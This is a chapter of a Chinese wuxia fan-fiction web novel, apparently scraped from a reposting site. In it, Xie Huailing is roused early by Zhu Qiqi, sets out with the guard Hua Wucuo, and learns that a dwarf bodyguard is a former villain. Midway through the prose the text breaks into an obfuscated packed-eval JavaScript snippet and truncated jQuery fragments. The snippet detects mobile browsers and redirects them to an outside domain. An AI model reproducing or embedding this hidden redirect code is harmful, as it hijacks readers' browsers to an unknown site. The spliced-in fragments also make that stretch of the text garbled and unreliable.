9. 第 9 章

作品:《[综武侠]非正常上班指北

    谢怀灵的思路很是完整。


    苏梦枕亲自相迎,意味着他很看重这次的生意;朱七七不避嫌六分半堂,意味着现下金风细雨楼恐怕也还没和“活财神”谈拢。所以她赌大事未成,可以借此时机通过朱七七为自己筹得出金风细雨楼的机会,再也能一试苏梦枕。


    范汾阳微妙的态度是最后一笔,上了年纪的人精自然是心比谁都通透,意味着这笔生意的进展绝不算是顺利。苏梦枕如她所料的敏锐,在察觉到有利可图后掉转马头抓住了送上来的机会,至此谢怀灵一可以短暂离开金风细雨楼;二可以试探苏梦枕的容忍之度;三也可由此一遭硬生生挤进了苏梦枕的计划中,又不算涉及过深,看似寄人篱下行了一步险棋,实则一石三鸟,全身而退。


    至于能不能后面的故事,苏梦枕的用意还为开幕,她还有段日子好过呢。


    唯一可惜的,就是她千算万算忘记算到朱七七着实是精神抖擞、日日容光焕发,还直来直去、娇蛮莽撞,天方未亮,便兴致高涨要来把她从床榻上提起,不得好眠,将门拍得是震天响:


    “怀灵!怀灵你起来了吗,要出去了!”


    谢怀灵用被子蒙住头,梦回了中学生涯,只露出几缕长发在外,叠影在灰蓝的布料上,像是水底溺鬼,死气沉沉吐着冤魂。侍女彼此相视一眼,也拿不准主意,是把她叫醒,还是让她睡下去。


    直到性子急的朱七七耐不住了,谢怀灵也没有练就风雨不动安如山的功夫,状若惨死地从被子后伸出一只手,手上惨白一片。她没有顽强的毅力,也没有惊人的意志,只有真的吵得我再也睡不着了的绝望,摸索着险些从床上摔下去,再痛苦地坐起,双眼无神地望着某个角落,瞳孔失焦而溃散。


    侍女去请朱七七去隔间用早膳,将门严严实实地合上,再大着胆子把谢怀灵从床榻间连根拔起,就像是抱起了一个娃娃。她什么动静也没有,睁着眼好像躯壳中没有灵魂,在一声声“得罪”下,被按在梳妆台前,水擦在了脸上方一梦初醒,回魂而来。


    谢怀灵在喉咙里找到自己的声音,呆道:“什么时辰?”


    “回小姐,是卯时四刻。”


    哦,六点整啊——这么早叫我叫个魂啊,好想死啊,不想活了。


    疲惫在这一刻达到了顶峰,她依稀记得自己已经拼尽全力在午夜睡下了,这对她而言已是千载难遇的好作息,可依然还是遭到了朱七七的无情叫早,她究竟是哪儿来的精力,又是否有顾忌到不是人人都如她一般呢?


    仔细想来,朱七七也许真没有想这么多。谢怀灵的头痛了起来,只是这样坐着也能睡过去。她全靠侍女的托举而没有倒下,细腻白皙的粉末铺在面上也没有心思抗议,就半昏着任由侍女上了个妆遮去她的倦容,她在这段时间中由新生想到了死亡,从苏梦枕思考到了不干了,又想着想着断了线,漂亮的脑袋无神无觉。


    侍女为她戴上耳饰,是一对颗颗圆润的明珠,锦衣附下,铜镜中人终于被推出了卧房。谢怀灵闭了闭眼,在光线入目的时刻魂不附体,死意油然而生、不可断绝。


    朱七七正用完了早膳在抹嘴角,看她终于来了,合掌而道:“等你好一会儿了——唉,你这是怎么了?”


    她轻轻地一皱眉,旋即恍然大悟,捂住了嘴:“你一贯不是这个点起吗,我记得金风细雨楼的人都是……啊,我忘了你不习武了……”


    说完后,她的歉意也来势汹汹,握住了谢怀灵的手,眼睛倒映她的憔悴之相,一咬唇似哭非哭:“那怎么办,你要不要回去再睡一觉,我下次不会了!”


    谢怀灵连将手抽回的力气也没有,同她说:“真是太谢谢了,已经把我拔起来再让我睡回去真是太谢谢了。你只管先饶了我,让我用些东西吧。”


    朱七七居然没听出她的言外之意,如风过林地松开了她,一个劲儿地往她碗里夹菜,很快菜便肉眼可见地堆成了小山高。


    命苦真是一种天赋。谢怀灵头都快掉进碗里了。


    .


    用完早膳,谢怀灵还是想了个法子短暂地打发了朱七七,叫朱七七有了点事做,巳时再来。她趴在案上简直想睡个天昏地暗,睡到不知天地为何物,但也只能休整一个时辰。


    一个时辰过后,她再爬起来,懒得画眉描唇,干脆是将妆全洗去了,锦衣也换做素衣。身上一身轻,谢怀灵痛感早该这样了,怎么能被一个表小姐的身份捆成粽子,侍女看着她欲言又止,想说些话,但观察着她的神色,也什么都没说出口。


    苏梦枕遣来的人在屋外站了有一个多时辰。此人名字唤做花无错,全然是江湖人长相,身量魁梧相貌刚毅,自有一身打眼的杀气,使人见而生畏,不过倒是在瞧见人后收敛了大半,看起来方像一个寻常护卫了。花无错名义上是来保护谢怀灵的,实际上另有安排,苏梦枕未和谢怀灵说,只叫她给花无错打掩护。


    朱七七也带了人,很是矮小,打扮极为怪异。她穿着一件红得像人血的斗篷,将脸藏起不露分毫了,几分鬼祟气就遮掩不住了。再说她全身裹得活像一个肉球,也不喜站在人前,是花无错一声厉呵,武器将要出手才肯打暗地里走出。倒也是奇怪,她穿那样邪的红色,是如何藏住的?


    谢怀灵静默着,一眼就足以判断出眼前恐怕不是个正道中人,至少从前绝不是正道之人。


    走南闯北走到富震天下的“活财神”,自身不以武艺显,那行走江湖时便要从别的方面补足,招揽能人异士是再方便不过的路。而能人异士中,又以树敌无数的邪门歪道之人最为好招揽。他们自身难保,只要伸出援手能保下他们,在新的生机来临之前,他们便也只能死心塌地留下。


    不过如此剑走偏锋,稍有不慎就会有被反噬的那天,并不为上策。而不为上策,谢怀灵不崇也。


    朱七七护下这红衣侏儒,说是从小看着她长大的家中护卫,所习功法中有独门隐蔽诀窍,才藏于暗处。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735397|174074||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    谢怀灵没有多说,只道是自己从未习武不懂这些,接着不出所料发现朱七七别过脸,面上松了一口气。


    慢慢下楼,红衣侏儒又回到了暗处去。谢怀灵与朱七七并肩,不过朱七七说着话还走得很快,先了她几步,她悠悠跟在后面,更往后是寸步不离的花无错。


    在某个楼梯的拐角,朱七七先下了一层,喊谢怀灵快些,谢怀灵叹了口气,花无错趁此时机忽然出声。


    “表姑娘。”很低沉的一声,他并不喊她小姐,是因为他是苏梦枕的心腹,在金风细雨楼地位超然,“楼主叫你离那侏儒远些。”


    谢怀灵迷茫得恰到好处,反应慢了半拍,分辨音节的伪装真是炉火纯青:“那侏儒如何?”


    今日她脸颊上少有血色,一袭素衣秀色掩今古,弱质不胜秋,再看两点红痣犹恨天光,直骗得花无错心中一怜,话未细思先出口:“杨总管查过了,这侏儒是多年前横行江湖的‘十三天魔’之一,大名花蕊仙,心狠手辣、歹毒至极、毫无人情。当年为‘活财神’所救,便一直留在朱家。”


    “还有这样一番故事。”谢怀灵等了几秒才说,“虽不大明白,但是还是小心为上。”


    她官话说的还不大好,吐字不快不慢,花无错退回更后面,虽有苏梦枕的叮嘱(这人不老实)在前,但也未起疑心。


    出了黄楼,几只鸿雁高高飞过,更显天际壮阔,高楼飞檐层叠高耸,仰头看去更是直穿空寂云端,要从缝隙中才窥得见汴京城影,还有汴河涟涟。


    两辆马车已经备好,等不及了的朱七七先拉着谢怀灵坐上一辆,上了车便滔滔不绝:“我先带你去个好地方,这汴京城的富贵窝可太多了,绝对是你在关外见不到的!我同你说,那儿真是什么首饰都有,我上回才逛到一半……”


    谢怀灵食指挑起车帘一角,同她搭着话但并不在看她:“那我要好好见识见识了。除了那儿,我们还去别的地方吗?”


    “怎么不去!当然要去!让我想想,可去的地方多着。”朱七七喃喃自语,报出了许多地名,“这儿也可以,不过那边可能会有沈浪,我再想想。”


    谢怀灵不想吐槽她的司马昭之心,她对恋爱状况真的没兴趣,看朱七七心已飞走,将苏梦枕说过的地名说出来:“我听人说汴京有新开一家上等的拍卖行,就在城西盘口,要不要去看看?我今日可不打算给我表兄省钱。”


    “那可巧了,正是我家的,嗯……先去那儿再去买首饰也可以。”毫无防备心的朱七七满口答应下。


    她又念叨起来了沈浪,揪着谢怀灵想诉说少女心事:“我不过我其实还想去个地方,我想找个人。”


    女孩子交朋友总有这一环,谢怀灵分出心思来听,目光还有一半在车窗之外。


    在她放下帘子前,金风细雨楼的顶层,硕大华美的琉璃窗前,她看到一道红色的身影出现,视线徐徐而来。


    谢怀灵放下车帘,锦缎吹散云烟。